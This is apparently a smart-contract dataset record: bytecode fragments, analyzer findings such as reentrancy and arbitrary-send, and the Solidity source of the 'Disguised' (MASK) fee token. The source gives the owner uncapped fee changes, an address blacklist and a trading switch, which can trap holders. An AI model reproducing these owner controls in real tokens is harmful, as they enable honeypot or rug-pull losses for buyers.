158015611b6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b90919061213c565b81600181518110611ba357611ba36126c4565b6001600160a01b039283166020918202929092010152601654611bc9913091168461119b565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c029085906000908690309042906004016124a4565b600060405180830381600087803b158015611c1c57600080fd5b505af1158015611c30573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b600082611c54575060006106ff565b6000611c60838561265d565b905082611c6d858361254d565b14611ab55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610798565b6000611ab583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6a565b6108793061dead836112bf565b80611d2057611d20611d98565b611d2b848484611ddd565b806119be576119be601254600f55601354601055601454601155565b6000806000611d54611ed4565b9092509050611d638282611cc4565b9250505090565b60008183611d8b5760405162461bcd60e51b815260040161079891906123d2565b5060006119f5848661254d565b600f54158015611da85750601054155b8015611db45750601154155b15611dbb57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611def87611f14565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611e219087611f71565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611e509086611fb3565b6001600160a01b038916600090815260026020526040902055611e7281612012565b611e7c848361205c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ec191815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611eef8282611cc4565b821015611f0b57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611f318a600f54601054612080565b9250925092506000611f41611d47565b90506000806000611f548e8787876120cf565b919e509c509a509598509396509194505050505091939550919395565b6000611ab583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c4565b600080611fc08385612535565b905083811015611ab55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610798565b600061201c611d47565b9050600061202a8383611c45565b306000908152600260205260409020549091506120479082611fb3565b30600090815260026020526040902055505050565b6007546120699083611f71565b6007556008546120799082611fb3565b6008555050565b600080808061209460646117f58989611c45565b905060006120a760646117f58a89611c45565b905060006120bf826120b98b86611f71565b90611f71565b9992985090965090945050505050565b60008080806120de8886611c45565b905060006120ec8887611c45565b905060006120fa8888611c45565b9050600061210c826120b98686611f71565b939b939a50919850919650505050505050565b60006020828403121561213157600080fd5b8135611ab5816126f0565b60006020828403121561214e57600080fd5b8151611ab5816126f0565b6000806040838503121561216c57600080fd5b8235612177816126f0565b91506020830135612187816126f0565b809150509250929050565b6000806000606084860312156121a757600080fd5b83356121b2816126f0565b925060208401356121c2816126f0565b929592945050506040919091013590565b600080604083850312156121e657600080fd5b82356121f1816126f0565b946020939093013593505050565b6000602080838503121561221257600080fd5b823567ffffffffffffffff81111561222957600080fd5b8301601f8101851361223a57600080fd5b803561224d61224882612511565b6124e0565b80828252848201915084840188868560051b870101111561226d57600080fd5b600094505b83851015612299578035612285816126f0565b835260019490940193918501918501612272565b50979650505050505050565b600060208083850312156122b857600080fd5b825167ffffffffffffffff8111156122cf57600080fd5b8301601f810185136122e057600080fd5b80516122ee61224882612511565b80828252848201915084840188868560051b870101111561230e57600080fd5b600094505b83851015612299578051835260019490940193918501918501612313565b60006020828403121561234357600080fd5b81358015158114611ab557600080fd5b60006020828403121561236557600080fd5b5035919050565b6000806040838503121561237f57600080fd5b50508035926020909101359150565b600081518084526020808501945080840160005b838110156123c75781516001600160a01b0316875295820195908201906001016123a2565b509495945050505050565b600060208083528351808285015260005b818110156123ff578581018301518582016040015282016123e3565b81811115612411576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b82815260406020820152600061249c604083018461238e565b949350505050565b85815284602082015260a0604082015260006124c360a083018661238e565b6001600160a01b0394909416606083015250608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715612509576125096126da565b604052919050565b600067ffffffffffffffff82111561252b5761252b6126da565b5060051b60200190565b60008219821115612548576125486126ae565b500190565b60008261256a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156125aa578160001904821115612590576125906126ae565b8085161561259d57918102915b93841c9390800290612574565b509250929050565b6000611ab560ff8416836000826125cb575060016106ff565b816125d8575060006106ff565b81600181146125ee57600281146125f857612614565b60019150506106ff565b60ff841115612609576126096126ae565b50506001821b6106ff565b5060208310610133831016604e8410600b8410161715612637575081810a6106ff565b612641838361256f565b8060001904821115612655576126556126ae565b029392505050565b6000816000190483118215151615612677576126776126ae565b500290565b60008282101561268e5761268e6126ae565b500390565b60006000198214156126a7576126a76126ae565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220097986fc15236c34ebf00dd5812b24d9520ce04eb083c1e2adf27d582a13f40364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,333 |
0x9d60f380440004911d045e6ee33897f6e0d59960
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/**
Disguised...
Dev.. Disguised.
Telegram.. Disguised.
Anything else.. Disguised.
See u on the other side.
10000000 Tx limit.
20000000 Max wallet size.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Disguised is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Disguised";
string private constant _symbol = "MASK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xDD2b67fD0a282C53cd58194Ba1176885A69377e1);
address payable private _marketingAddress = payable(0xDD2b67fD0a282C53cd58194Ba1176885A69377e1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600981526020017f4469736775697365640000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4d41534b00000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1682